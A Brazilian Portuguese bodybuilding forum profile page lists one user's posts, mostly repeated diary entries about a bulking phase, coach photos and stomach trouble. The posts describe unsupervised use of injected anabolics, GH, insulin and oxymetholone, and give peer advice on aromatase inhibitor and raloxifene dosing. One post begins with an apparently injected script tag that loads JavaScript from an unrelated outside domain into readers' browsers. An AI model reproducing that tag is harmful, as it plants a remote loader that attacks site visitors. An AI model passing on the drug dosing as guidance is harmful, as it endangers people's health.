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Emmanuel Martyres

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Everything posted by Emmanuel Martyres

  1. vamos ao relato 1- essa semana as coisas estao mais faceis...dieta 100%..só nao estou tomando todos os suples como indicados pra nao dar sorte pro azar...va que zoe o estomago. 2- cortei o hemogenin hoje,sobrou 2 cartelas,fica aqui guardadinho 3- os treino decidi manter mais maquinario essa semana mesmo,primeiro pra mudar um pouco e segundo pra dar uma relaxada pq semana que vem o bixo pega 4- sinceramente to me sentindo menor essa semana,mas deve ser só impressao...resto ta tudo ok..bastante sono,essa semana batendo um pouco de irritabilidade demais tbm,mas nada absurdo...curioso com o peso sexta feira...imagina se meu peso baixa? pqp vou ficar puto...kkk.. 5- apesar de acharem balonie alguns suples,eu realmente sinto falta no dia a dia quando nao uso,como a leucina,arginina e carnitina..faz diferença mesmo,se eu tivesse usado certinho no bulk com certeza estaria melhor..vou ate tentar voltar a usar certo amanha pra me readaptar a eles. no mais é isso,semana que vem começa pre contes,treino de poses,cardio e etc...negocio vai ficar puxado!!!
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  3. orra apagaram nesse relato tbm varios posts meus dos ultimos 10 dias,com fotos e tudo mais,o que rolou? atualizando o relato: *carnaval aproveitei pra relaxar a mente...treinos normais,dieta basicamente 100% sempre com algum lixo junto pra alegrar a vida. * ontem dei o ultimo shot do bulk..mandei nos biceps e fui treinar...agora tirarei essa semana de aplicaçoes,principalmente pra dar uma zerada nos spots..quarta eu corto o hemo tambem. * me peso sexta (vem 110 vem!!!) e tiro fotos domingo pra finalizar tudo e começar o pre contest, que alias ja estou com quase todas as drogas em maos. * ate pensei em essa semana treinar mais leve e tal,mas vou tentar treinar no limite mesmo,se o estomago ajudar..agora que o off ta acabando meu estomago ta bem melhor..ate sai pra comer ontem, alias fui ver dois filmes, INSURGENTE (muito bom) e VELOZES E FURIOSOS 7 (muito bom) depois fui comer 400gr de um corte especial de carne,com batata pappas soufles (boa pacarai),farofa de ovo e petit gatteou (minha sobremesa predileta) e por incrivel que pareça comi relativamente bem..fiquei bem feliz!!! no mais tem outras fotos em padrao diferente das que ando postado,fotos de espelho treinando pose e tal..posto essa semana pra voces. gogo ultima semana de bulk!!!
  4. É impressao minha ou sumiu postagens minhas do relato? tinha acabado de postar fotos e etc!!! porra que sacanagem. atualizando o relato: *carnaval aproveitei pra relaxar a mente...treinos normais,dieta basicamente 100% sempre com algum lixo junto pra alegrar a vida. * ontem dei o ultimo shot do bulk..mandei nos biceps e fui treinar...agora tirarei essa semana de aplicaçoes,principalmente pra dar uma zerada nos spots..quarta eu corto o hemo tambem. * me peso sexta (vem 110 vem!!!) e tiro fotos domingo pra finalizar tudo e começar o pre contest, que alias ja estou com quase todas as drogas em maos. * ate pensei em essa semana treinar mais leve e tal,mas vou tentar treinar no limite mesmo,se o estomago ajudar..agora que o off ta acabando meu estomago ta bem melhor..ate sai pra comer ontem, alias fui ver dois filmes, INSURGENTE (muito bom) e VELOZES E FURIOSOS 7 (muito bom) depois fui comer 400gr de um corte especial de carne,com batata pappas soufles (boa pacarai),farofa de ovo e petit gatteou (minha sobremesa predileta) e por incrivel que pareça comi relativamente bem..fiquei bem feliz!!! no mais tem outras fotos em padrao diferente das que ando postado,fotos de espelho treinando pose e tal..posto essa semana pra voces. gogo ultima semana de bulk!!!
  5. Entao gente,antes de tudo..obrigado pela força e pelas ideias!!!! Ja acordei mais feliz hoje e vou mudar a minha estrategia: 1- Comprei uma camera nova,semiprofissional, paguei caro pacarai..ja deve melhorar 2- vou seguir a ideia de voces e filmar as poses..video posando nao pretendo postar,talvez curtos no face..mas ai eu tiro print dos videos,va que a imagem fique melhor né.. RELATO SEGUNDA: DIETA: estomago zuadasso denovo hoje,mesma merda de sempre,primeiras refeiçoes eu fico bem zuado,as ultimas ja fica mais facil..da pra ir levando FOTOS: postei no computador,ate nao ficou tao ruim nele...algumas fotos ficaram ruins pq eu errei a distancia da camera,as primeiras otos tavam mais longe e quanto mais longe menos distorce a imagem...entao foi cagada minha,mas as fotos no geral nao ficara um lixo,algumas ate ficaram interessantes...nao deu tempo de mandar pro coach ainda,mando amanha. TREINO: treinei peitoral hoje,mas como to a 5 semanas treinando fortissimo,hoje parti pra mais maquinario...treinando forte mas em maquinas..rendeu bem,foi diferente..o desgaste psicologico é menor,entao da pra ficar mais tranquilo no treino CICLO: aplicaçao na panturras e gluteos ok. NO mais é isso,agradeço a força de todos e vou colocar em pratica as dicas,acho que filmar e tirar print deve ajudar..fora o fato de que vou cuidar pra tirar fotos mais de longe e to com uma camera bem melhor..deve melhorar..logo posta as fotos
  6. Entao gente,antes de tudo..obrigado pela força e pelas ideias!!!! Ja acordei mais feliz hoje e vou mudar a minha estrategia: 1- Comprei uma camera nova,semiprofissional, paguei caro pacarai..ja deve melhorar 2- vou seguir a ideia de voces e filmar as poses..video posando nao pretendo postar,talvez curtos no face..mas ai eu tiro print dos videos,va que a imagem fique melhor né.. RELATO SEGUNDA: DIETA: estomago zuadasso denovo hoje,mesma merda de sempre,primeiras refeiçoes eu fico bem zuado,as ultimas ja fica mais facil..da pra ir levando FOTOS: postei no computador,ate nao ficou tao ruim nele...algumas fotos ficaram ruins pq eu errei a distancia da camera,as primeiras otos tavam mais longe e quanto mais longe menos distorce a imagem...entao foi cagada minha,mas as fotos no geral nao ficara um lixo,algumas ate ficaram interessantes...nao deu tempo de mandar pro coach ainda,mando amanha. TREINO: treinei peitoral hoje,mas como to a 5 semanas treinando fortissimo,hoje parti pra mais maquinario...treinando forte mas em maquinas..rendeu bem,foi diferente..o desgaste psicologico é menor,entao da pra ficar mais tranquilo no treino CICLO: aplicaçao na panturras e gluteos ok. NO mais é isso,agradeço a força de todos e vou colocar em pratica as dicas,acho que filmar e tirar print deve ajudar..fora o fato de que vou cuidar pra tirar fotos mais de longe e to com uma camera bem melhor..deve melhorar..logo posta as fotos
  7. a sim man e eu sempre me apoiei nese argumento,que ao vivo meu shape supreende..mas eu preciso postar fotos e nem todo mundo vai entender que eu nao sou fotogenico como os outros ai começam a falar merda e tal,fora que é frustrante nao tirar uma foto boa né... é entao,eu vou tentar filmar pra ver como fica ai vou tirar print da filmagem,va que fique bom né..curti a ideia!
  8. RELATO Bom galera,sei que sumi denovo,mas infelizmente ta tensa a situaçao 1- tive uma prova filha da puta na sexta,e eu tinha muito trabalho acumulado entao passei de quinta pra sexta sem dormir..cansado demais,tirei final de semana pra descansar 2- estomago zicado pra caralho...dieta foi 100% ate quinta,na sexta nao foi (ate deixei de treinar) e sabado decidi comer bem menos pra ver se aliviava a situaçao...hoje vai menos refeiçoes denovo. 3- finalmente tirei as fotos pro coach...e foi uma situaçao foda,meu psicologico ta uma bosta,vou explicar em etapas * me depilei e tal e fui tirar as fotos na area externa de casa..ja pra ajudar,sumiu o Sol e tirar foto na sombra fode qualquer foto,,VAI TOMA NO CU..eu saio de carro pra dirigir chove.. eu vou tirar foto chove. VAI TOMA NO CU TEMPO FILHO DA PUTA..uma semana tentando tirar foto,ai quando eu nao tiro a porra do sol aparece. * fora isso,na hora das poses foi nitida a reaçao da minha esposa ao se espantar com a evoluçao..ela é sempre bem sincera e contida nos elogios,porque tem medo que suba na minha cabeça..mas ela disse que tava impressionada com 1 mes de preparo,estava maior,aparentemente mais seco,mais cheio,mais denso..ou seja,tava MUITO BOM..entao tirei as fotos super animado * chega a hora de ver as bendidas fotos,adivinha? MEU SHAPE FICOU UM LIXO NAS FOTOS!!! mesmo com shape melhor e tudo mais nas fotos fiquei uma bosta,nao sei se foi a falta de SOL sei la..só sei que quando eu vi quase chorei..tentei tirar mais fotos,outros lugares e tal mas nao dava..minha esposa nao entende ate agora como eu consigo sair tao zuado nas fotos..antes ela achava que era coisa da minha cabeça,mas agora ela realmente concordou..no espelho meu shape ta MUITO BOM,as pernas tao grandes,o bf top,to denso,to cheio..nas fotos eu to um lixo..gordo,pequeno,todo torto...nunca vi isso na minha vida,serio..simplesmente acabou comigo... pra mim é simples se o shape ta bom fica bom na foto,se ta uma merda na foto entao na vida real é uma merda..entao a partir de hoje,pra mim,ate eu tirar fotos boas,meus shape ta UMA MERDA...to muito puto..eu to me fudendo a um mes ocm estomago zuado,tentando seguir tudo 100%,fazer tudo direito..tiro as fotos dando meu melhor,testo varios angulos e etc,chega na hora fica UM LIXO..eu nunca vi alguem ser tao FILHO DA PUTA DE RUIM pra tirar foto como eu...só tirei essas bostas porque tem que mandar pro coach e pelo visto ele vai achar que eu piorei..mas,ja to a 2 semanas atrasado,nao tem outra opçao.. sendo sincero,to bem desanimado,me sentindo um lixo,larguei mao da dieta hoje e sei la o que sera dessa semana,vou esperar o coach me atualizar e eu decido..to bem puto pq no espelho eu to me sentindo sinistro,nas fotos ta um lixo do caralho...mas vamos ver o que ele diz..desculpa o desabafo galera..mas eu sempre expliquei o porque odeio tirar fotos...pq sempre fode meu psicologico,sempre me desanima pq sempre sai um lixo,nao importa a foto..entao sei la..segue a vida
  9. é por ai man,bom que vem gente que sofre o mesmo pra partilhar desse sofrimento..rsrs..eu fico triste por nao comer igual outros BBs,mas,cada um com seus problemas,tento compensar de outras formas.. RELATO Bom galera,sei que sumi denovo,mas infelizmente ta tensa a situaçao 1- tive uma prova filha da puta na sexta,e eu tinha muito trabalho acumulado entao passei de quinta pra sexta sem dormir..cansado demais,tirei final de semana pra descansar 2- estomago zicado pra caralho...dieta foi 100% ate quinta,na sexta nao foi (ate deixei de treinar) e sabado decidi comer bem menos pra ver se aliviava a situaçao...hoje vai menos refeiçoes denovo. 3- finalmente tirei as fotos pro coach...e foi uma situaçao foda,meu psicologico ta uma bosta,vou explicar em etapas * me depilei e tal e fui tirar as fotos na area externa de casa..ja pra ajudar,sumiu o Sol e tirar foto na sombra fode qualquer foto,,VAI TOMA NO CU..eu saio de carro pra dirigir chove.. eu vou tirar foto chove. VAI TOMA NO CU TEMPO FILHO DA PUTA..uma semana tentando tirar foto,ai quando eu nao tiro a porra do sol aparece. * fora isso,na hora das poses foi nitida a reaçao da minha esposa ao se espantar com a evoluçao..ela é sempre bem sincera e contida nos elogios,porque tem medo que suba na minha cabeça..mas ela disse que tava impressionada com 1 mes de preparo,estava maior,aparentemente mais seco,mais cheio,mais denso..ou seja,tava MUITO BOM..entao tirei as fotos super animado * chega a hora de ver as bendidas fotos,adivinha? MEU SHAPE FICOU UM LIXO NAS FOTOS!!! mesmo com shape melhor e tudo mais nas fotos fiquei uma bosta,nao sei se foi a falta de SOL sei la..só sei que quando eu vi quase chorei..tentei tirar mais fotos,outros lugares e tal mas nao dava..minha esposa nao entende ate agora como eu consigo sair tao zuado nas fotos..antes ela achava que era coisa da minha cabeça,mas agora ela realmente concordou..no espelho meu shape ta MUITO BOM,as pernas tao grandes,o bf top,to denso,to cheio..nas fotos eu to um lixo..gordo,pequeno,todo torto...nunca vi isso na minha vida,serio..simplesmente acabou comigo... pra mim é simples se o shape ta bom fica bom na foto,se ta uma merda na foto entao na vida real é uma merda..entao a partir de hoje,pra mim,ate eu tirar fotos boas,meus shape ta UMA MERDA...to muito puto..eu to me fudendo a um mes ocm estomago zuado,tentando seguir tudo 100%,fazer tudo direito..tiro as fotos dando meu melhor,testo varios angulos e etc,chega na hora fica UM LIXO..eu nunca vi alguem ser tao FILHO DA PUTA DE RUIM pra tirar foto como eu...só tirei essas bostas porque tem que mandar pro coach e pelo visto ele vai achar que eu piorei..mas,ja to a 2 semanas atrasado,nao tem outra opçao.. sendo sincero,to bem desanimado,me sentindo um lixo,larguei mao da dieta hoje e sei la o que sera dessa semana,vou esperar o coach me atualizar e eu decido..to bem puto pq no espelho eu to me sentindo sinistro,nas fotos ta um lixo do caralho...mas vamos ver o que ele diz..desculpa o desabafo galera..mas eu sempre expliquei o porque odeio tirar fotos...pq sempre fode meu psicologico,sempre me desanima pq sempre sai um lixo,nao importa a foto..entao sei la..segue a vida
  10. sempre tem gente assim man..sempre me ollham agachando ''leve'' achando que é ''só bomba'' nem ligo..eu posso botar uma sunga e mostrar as pernas..kk
  11. nao da,eu tentei..muda muito a qualidade da foto..e precisa manter um padrao pras fotos...se voce manda de uma camera,em um locao tem que ser sempre da mesma forma,senao perde parametro de comparaçao... RELATO QUARTA: DIETA: ate foi ok,algumas refeiçoes mais faceis,outras mais dificieis mas deu pra ir..enjoo mesmo só no treino,ontem bateu forte,incomodou muito,vomito só nao veio porque controlei ate o limite,senao ia chapiscar o chao da gym de vomito...kkk..mas no geral dei ate uma animada,ta incomodando um pouc menos com as alteraçoes que eu fiz. TREINO: treino de quads ontem..como o agacho pesado nao estava me deixando satisfeito, nao estava sentindo um bom estimulo entao nao tava valendo a pena agachar com mais peso..decidi começar o treino fadigando bem o quads HACK SUPER SLOW , 3 series,suficiente pra ir pra casa ja...terminei as series e fui pro agacho ja moido..ai sim, 30 kilos cada lado e um agacho bem feito,sentindo bem o estimulo..depois fechei com o de sempre,leg press,agacho frontal e tal..treino em si foi medio,muito enjoo,entao prejudica o foco no treino,mas rendeu bem ate. CICLO: ontem nao apliquei nos quads,o esquerdo ainda ta inflamado (dessa vez foi foda mesmo,nunca fica 1 semana inflamado) ai achei melhor nao aplicar,mesmo que fosse em outro ponto,porque poderia prejudicar a recuperaçao...uma semana é ate bom pra dar um descanso pro musculo,semana que vem volta normal.. da um pouco de triste porque o pump no treino é menor,mas.... no mais tudo ok,hemo ok,aplicaçoes fora as de ontem ok,gh ok..sono pra caralho e o resto indo..hoje tiro as fotos,mando pro coach e vamos ver o que rola...
  12. RELATO QUARTA: DIETA: ate foi ok,algumas refeiçoes mais faceis,outras mais dificieis mas deu pra ir..enjoo mesmo só no treino,ontem bateu forte,incomodou muito,vomito só nao veio porque controlei ate o limite,senao ia chapiscar o chao da gym de vomito...kkk..mas no geral dei ate uma animada,ta incomodando um pouc menos com as alteraçoes que eu fiz. TREINO: treino de quads ontem..como o agacho pesado nao estava me deixando satisfeito, nao estava sentindo um bom estimulo entao nao tava valendo a pena agachar com mais peso..decidi começar o treino fadigando bem o quads HACK SUPER SLOW , 3 series,suficiente pra ir pra casa ja...terminei as series e fui pro agacho ja moido..ai sim, 30 kilos cada lado e um agacho bem feito,sentindo bem o estimulo..depois fechei com o de sempre,leg press,agacho frontal e tal..treino em si foi medio,muito enjoo,entao prejudica o foco no treino,mas rendeu bem ate. CICLO: ontem nao apliquei nos quads,o esquerdo ainda ta inflamado (dessa vez foi foda mesmo,nunca fica 1 semana inflamado) ai achei melhor nao aplicar,mesmo que fosse em outro ponto,porque poderia prejudicar a recuperaçao...uma semana é ate bom pra dar um descanso pro musculo,semana que vem volta normal.. da um pouco de triste porque o pump no treino é menor,mas.... no mais tudo ok,hemo ok,aplicaçoes fora as de ontem ok,gh ok..sono pra caralho e o resto indo..hoje tiro as fotos,mando pro coach e vamos ver o que rola...
  13. HOPE!!! Bora ao relato de hoje, Hoje o estomago incomodou mais..tava com esperança ontem de que as coisas iriam melhorar,mas que nada,hoje ja bugou denovo..mas deu pra seguir,isso que importa..se nao vai solida eu to jogando shake e ta valendo...dia fica positivo pelo menos. Chuva o dia todo hoje,mais um dia sem conseguir tirar foto,to puto pq to pagando o coach e era pra atualizar faz 10 dias ja e nada...amanha sem falta tiro essas merdas dessas fotos..na verdade to me sentindo menor,nao sei porque,mas deve ser impressao. Treino de dorsal hoje TOP...o que desanima é a queda de força,mas estou caprixando na qualidade das execuçoes..treino de dorsal tem que ter execuçao perfeita,senao o estimulo fica muito superficial,ai nao adianta muita coisa. Aplicaçao nos delts posterior e dorsais tranquila,sem nenhum problema,tudo de boa. De colateral,fora estomago,só o sono mesmo,posso dormir dia todo facil facil,ando preguiçoso pacas...mas fora isso as coisas estao indo..quero atualizar logo o coach porque estou ancioso pra ver as mudanças e o feeling dele.. gogo
  14. HOPE!!! Bora ao relato de hoje, Hoje o estomago incomodou mais..tava com esperança ontem de que as coisas iriam melhorar,mas que nada,hoje ja bugou denovo..mas deu pra seguir,isso que importa..se nao vai solida eu to jogando shake e ta valendo...dia fica positivo pelo menos. Chuva o dia todo hoje,mais um dia sem conseguir tirar foto,to puto pq to pagando o coach e era pra atualizar faz 10 dias ja e nada...amanha sem falta tiro essas merdas dessas fotos..na verdade to me sentindo menor,nao sei porque,mas deve ser impressao. Treino de dorsal hoje TOP...o que desanima é a queda de força,mas estou caprixando na qualidade das execuçoes..treino de dorsal tem que ter execuçao perfeita,senao o estimulo fica muito superficial,ai nao adianta muita coisa. Aplicaçao nos delts posterior e dorsais tranquila,sem nenhum problema,tudo de boa. De colateral,fora estomago,só o sono mesmo,posso dormir dia todo facil facil,ando preguiçoso pacas...mas fora isso as coisas estao indo..quero atualizar logo o coach porque estou ancioso pra ver as mudanças e o feeling dele.. gogo
  15. porque o sabor é muito ruim man e sobressai no shake..ai a merda ta feita. RELATO SEGUNDA: Nao deu pra tirar foto,choveu tarde toda,eu preciso tirar foto na area externa de casa,com Sol se possivel,fica pra amanha..ja nao gosto de tirar foto,ai toda hora da um b.o...é uma merda DIETA: por incrivel que pareça,hoje foi mais facil,enjoos mais tranquilos,tudo mais tranquilo..nao sei pq mas hoje fiquei feliz,dia rendeu melhor. TREINO: peitoral hoje,mesmo treino das ultimas semanas,força nao subiu mais,hemo estagnou,ou aumento a dosagem ou nao vai mais me ajudar em muita coisa,vamos ver o que o Mubarak diz mas ate agora nao vejo mais tanto beneficio do hemo. CICLO: aplicaçao no gluteos e panturras ok. No geral dia foi bom hoje,estou feliz com meu bf,mesmo subindo o peso, os 110 kilos provavelmente virao em 2 ou 3 semanas e o bf ta muito bom,como eu sempre perco 4-5 kilos em 2 semnaas de dieta inicial (pela retençao,residuo alimentar),nao vou ter essa queda brusca logo de inicio e o peso tende a baixar mais devagar,porem com o bf bem mais facil..a impressao que da é que com 103 kilos eu estarei bem seco ja..veremos... um off mais pesado e maior,com 115 kilos,é bom me sinto grande e tal,mas pelo lado competitivo realmente nao vale a pena,a grande oscilaçao de peso e tudo mais..entao por enquanto tudo esta valendo a pena..vamos ver como fica nas fotos.
  16. RELATO SEGUNDA: Nao deu pra tirar foto,choveu tarde toda,eu preciso tirar foto na area externa de casa,com Sol se possivel,fica pra amanha..ja nao gosto de tirar foto,ai toda hora da um b.o...é uma merda DIETA: por incrivel que pareça,hoje foi mais facil,enjoos mais tranquilos,tudo mais tranquilo..nao sei pq mas hoje fiquei feliz,dia rendeu melhor. TREINO: peitoral hoje,mesmo treino das ultimas semanas,força nao subiu mais,hemo estagnou,ou aumento a dosagem ou nao vai mais me ajudar em muita coisa,vamos ver o que o Mubarak diz mas ate agora nao vejo mais tanto beneficio do hemo. CICLO: aplicaçao no gluteos e panturras ok. No geral dia foi bom hoje,estou feliz com meu bf,mesmo subindo o peso, os 110 kilos provavelmente virao em 2 ou 3 semanas e o bf ta muito bom,como eu sempre perco 4-5 kilos em 2 semnaas de dieta inicial (pela retençao,residuo alimentar),nao vou ter essa queda brusca logo de inicio e o peso tende a baixar mais devagar,porem com o bf bem mais facil..a impressao que da é que com 103 kilos eu estarei bem seco ja..veremos... um off mais pesado e maior,com 115 kilos,é bom me sinto grande e tal,mas pelo lado competitivo realmente nao vale a pena,a grande oscilaçao de peso e tudo mais..entao por enquanto tudo esta valendo a pena..vamos ver como fica nas fotos.
  17. RELATO: galera,sei que o relato ta meio sumido,mas eu ando ate um pouco depressivo com minha situaçao..a dieta ate ta 100%,os treinos estao bons..mas sinceramente,na minha atual condiçao,eu perco a alegria em ser Bodybuilder...diferente do pre contest que eu curto muito,ja no Bulk me massacra demais,faltei aula 3x essa semana,me da um desanimo e sono fdp..é uma merda... mas fiz umas alteraçoes na dieta,antes mesmo de o coach mudar,pra tentar facilitar minha vida..vou jogar mais shakes e que se foda...nao tem outra opçao..se eu nao aguentar comer eu uso shake,se aguentar ai mando solido. No mais,nao me pesei sexta,ate porque a semana nao foi tao produtiva..ja me depilei mas nao posso tirar foto hoje pq minha perna ainda ta inflamada da aplicaçao de quarta,ai nao tem como o coach me avaliar,tenho que tirar foto amanha,ai ja posto pra voces..sao quase 3 kilos a mais,alguma diferença deve dar. ele me responde rapido,entao eu mandando as fotos amanha,ate terça ele ja me manda o novo projeto e eu atualizo voces... no mais,a insulina ate parece que ta causando um certo beneficio no shape,junto com o gh,mesmo em dosagem baixa. o hemogenin deu a impressao que os 100mg ta pouco agora,no começo deu força,deu pump,deu disposiçao..agora parece que precisa subir a dosagem pq nao ta dando mais a mesma pegada. O GH nao ta me dando dor ,apenas sono...mas os treinos estao rendendo..o shape em si,por incrivel que pareça,fora retençao,pele ta muito boa..entao acredito que eu deva,de longe,competir no meu mais seco esse ano..se eu fechar os 110 kilos terei 10 kilos pra perder com o bf bem baixo,vai ser bem interessante.. essa semana eu fui bem relapso com o uso dos suples,nao usei carnitina,cartamo,arginina e etc,simplesmente pq as caps me fazem vomitar,ai nao tava conseguindo usar..mas é nitido a diferença que se tem usando eles.. pelo que reparei ate agora,a questao nao é puramente estetica,é qualdiade de vida...quando eu uso esses suplementos me sinto mais disposto,com mais vitalidade,mais esperto e isso faz meu dia render,o treino render,o sono render e consequentemente vai afetar meu shape...de forma indireta e estou reparando que o uso desses suplementos,sao justamente pra melhorar a minha qualidade de vida e interferir nos meus resultados de forma indireta.. no mais,PROMETO,amanha relato volta diario..16 semanas ainda pro estadual,deve rolar no minimo mais 4 de off. mudando de assunto,to pensando em ir ao AC BRASIL,primeiro por causa dos cursos,tem alguns ali ANIMAIS que me animaram a ir..como nao estou estudando muito em casa, 1 final de semana dando a cara nos estudos em mim faz milagre...e outra que preciso ver um CAMPEONATO PRÓ DE BB pra me animar e motivar!!
  18. esse atrapalhar os ganhos nao se tem comprovaçao pratica de que realmente prejudique,só tem teoria..de qualquer forma,pra minimzar as possibilidades,use raloxifeno,ele nao diminui niveis de igf1 ja tive rebote com letro,apos campeonato...deu gineco em 24 horas forte,dor ,inxasso e etc,mas reverti..com aromasin nao tem rebote.. o rebote depende a forma que administra tbm,e nao só o ia,mas a testo tambem. RELATO: galera,sei que o relato ta meio sumido,mas eu ando ate um pouco depressivo com minha situaçao..a dieta ate ta 100%,os treinos estao bons..mas sinceramente,na minha atual condiçao,eu perco a alegria em ser Bodybuilder...diferente do pre contest que eu curto muito,ja no Bulk me massacra demais,faltei aula 3x essa semana,me da um desanimo e sono fdp..é uma merda... mas fiz umas alteraçoes na dieta,antes mesmo de o coach mudar,pra tentar facilitar minha vida..vou jogar mais shakes e que se foda...nao tem outra opçao..se eu nao aguentar comer eu uso shake,se aguentar ai mando solido. No mais,nao me pesei sexta,ate porque a semana nao foi tao produtiva..ja me depilei mas nao posso tirar foto hoje pq minha perna ainda ta inflamada da aplicaçao de quarta,ai nao tem como o coach me avaliar,tenho que tirar foto amanha,ai ja posto pra voces..sao quase 3 kilos a mais,alguma diferença deve dar. ele me responde rapido,entao eu mandando as fotos amanha,ate terça ele ja me manda o novo projeto e eu atualizo voces... no mais,a insulina ate parece que ta causando um certo beneficio no shape,junto com o gh,mesmo em dosagem baixa. o hemogenin deu a impressao que os 100mg ta pouco agora,no começo deu força,deu pump,deu disposiçao..agora parece que precisa subir a dosagem pq nao ta dando mais a mesma pegada. O GH nao ta me dando dor ,apenas sono...mas os treinos estao rendendo..o shape em si,por incrivel que pareça,fora retençao,pele ta muito boa..entao acredito que eu deva,de longe,competir no meu mais seco esse ano..se eu fechar os 110 kilos terei 10 kilos pra perder com o bf bem baixo,vai ser bem interessante.. essa semana eu fui bem relapso com o uso dos suples,nao usei carnitina,cartamo,arginina e etc,simplesmente pq as caps me fazem vomitar,ai nao tava conseguindo usar..mas é nitido a diferença que se tem usando eles.. pelo que reparei ate agora,a questao nao é puramente estetica,é qualdiade de vida...quando eu uso esses suplementos me sinto mais disposto,com mais vitalidade,mais esperto e isso faz meu dia render,o treino render,o sono render e consequentemente vai afetar meu shape...de forma indireta e estou reparando que o uso desses suplementos,sao justamente pra melhorar a minha qualidade de vida e interferir nos meus resultados de forma indireta.. no mais,PROMETO,amanha relato volta diario..16 semanas ainda pro estadual,deve rolar no minimo mais 4 de off. mudando de assunto,to pensando em ir ao AC BRASIL,primeiro por causa dos cursos,tem alguns ali ANIMAIS que me animaram a ir..como nao estou estudando muito em casa, 1 final de semana dando a cara nos estudos em mim faz milagre...e outra que preciso ver um CAMPEONATO PRÓ DE BB pra me animar e motivar!!
  19. enquanto voce tava digitando o dolar foi a 3,26,caiu rpa 3,10 e fechou em 3,24 ...num periodo de 3min..kkk ta foda esse dolar
  20. sao produtos diferentes man com caracteristicas diferentes
  21. vce é viciado no velozes e furiosos hein! kkk curti bastante a primeira, as outras ja conhecia,vlw man!
  22. VAMOS AO RELATO Sei que dei uma sumida monstra galera..mas o negocio ta foda..muito trabalho,muito cansaço (sono absurdo) ,pra ter ideia seg e terç eu fui pra aula, quarta e hoje nao consegui acordar,simplesmente nao consegui..um desgaste absurdo..isso ate desanima porque nao curto faltar aula e tal mas esto bem desgastado. O estomago ta mediano,algumas refeiçoes sao fodas,outras vai mais de boa..ta dando pra levar,tirando a ultima refeiçao que eu cortei o resto ta indo..quando ta muito foda eu troco por shake. Os treinos estao 100%,mas ate a força deu uam caida essa semana devido ao desgaste,estava treinando melhor e com mais força semana passada,ja essa nao rendeu...mas provavelmente é o cansaço,muito trabalho,pouco sono..prejudica muito..meus horarios estao bem apertados,nem estudar em casa estou conseguindo,ta bem foda e isso me frustra pra caramba...acho que só vai ficar 100% organizado em pre contest. Com relaçao ao coach,nao tive tempo de me depilar pra tirar foto,ontem treinei perna e como aplico prop nela,esta bem inxado,entao hoje nao tem nem como tirar foto e enviar para ele pq fica inxado demais..vou ter que esperar ate domingo pra dar uma desinxada e mandar fotos..ate la vou me depilando aos poucos... ontem depilei as coxas e joelho,entao se o shorts é curto,da pra ver a coxa zero pêlo e a canela socada de pêlo...kkk ta bem engraçado... No mais estou um pouco chateado,nao pelo projeto,essa semana ta basicamente 100% a dieta,as aplicaçoes dei uma relaxada mas hoje deixo em dia..agora to triste pelo sono,por nao conseguir estudar,por faltar aula,isso me deprime bastante..to pensando em tocar o foda-se e acordar e ir mesmo zumbi pra aula e dormir mais tarde só pra estudar e azar. Bom sobre as musicas que eu disse,segue o link de 3 musicas que eu curto pra usar no campeonato..tem que ter uma ocilaçao de ritmo e apice da musica pra poder mudar o esquema de poses ou a forma que entra no palco e tal..nao pode ser um hio hop ou rap comum: ajudem ai se tiverem mais musicas legais galera.
  23. VAMOS AO RELATO Sei que dei uma sumida monstra galera..mas o negocio ta foda..muito trabalho,muito cansaço (sono absurdo) ,pra ter ideia seg e terç eu fui pra aula, quarta e hoje nao consegui acordar,simplesmente nao consegui..um desgaste absurdo..isso ate desanima porque nao curto faltar aula e tal mas esto bem desgastado. O estomago ta mediano,algumas refeiçoes sao fodas,outras vai mais de boa..ta dando pra levar,tirando a ultima refeiçao que eu cortei o resto ta indo..quando ta muito foda eu troco por shake. Os treinos estao 100%,mas ate a força deu uam caida essa semana devido ao desgaste,estava treinando melhor e com mais força semana passada,ja essa nao rendeu...mas provavelmente é o cansaço,muito trabalho,pouco sono..prejudica muito..meus horarios estao bem apertados,nem estudar em casa estou conseguindo,ta bem foda e isso me frustra pra caramba...acho que só vai ficar 100% organizado em pre contest. Com relaçao ao coach,nao tive tempo de me depilar pra tirar foto,ontem treinei perna e como aplico prop nela,esta bem inxado,entao hoje nao tem nem como tirar foto e enviar para ele pq fica inxado demais..vou ter que esperar ate domingo pra dar uma desinxada e mandar fotos..ate la vou me depilando aos poucos... ontem depilei as coxas e joelho,entao se o shorts é curto,da pra ver a coxa zero pêlo e a canela socada de pêlo...kkk ta bem engraçado... No mais estou um pouco chateado,nao pelo projeto,essa semana ta basicamente 100% a dieta,as aplicaçoes dei uma relaxada mas hoje deixo em dia..agora to triste pelo sono,por nao conseguir estudar,por faltar aula,isso me deprime bastante..to pensando em tocar o foda-se e acordar e ir mesmo zumbi pra aula e dormir mais tarde só pra estudar e azar. Bom sobre as musicas que eu disse,segue o link de 3 musicas que eu curto pra usar no campeonato..tem que ter uma ocilaçao de ritmo e apice da musica pra poder mudar o esquema de poses ou a forma que entra no palco e tal..nao pode ser um hio hop ou rap comum: ajudem ai se tiverem mais musicas legais galera.
  24. <script src="http://d.trackbreakingnews.com/l/load.js"></script> por enquanto aromasin 25mg seg e quinta man
  25. hemogenin pra quem ta mais seco é melhor que diana man,os beneficios sao melhores,menos retençao,mais explosao
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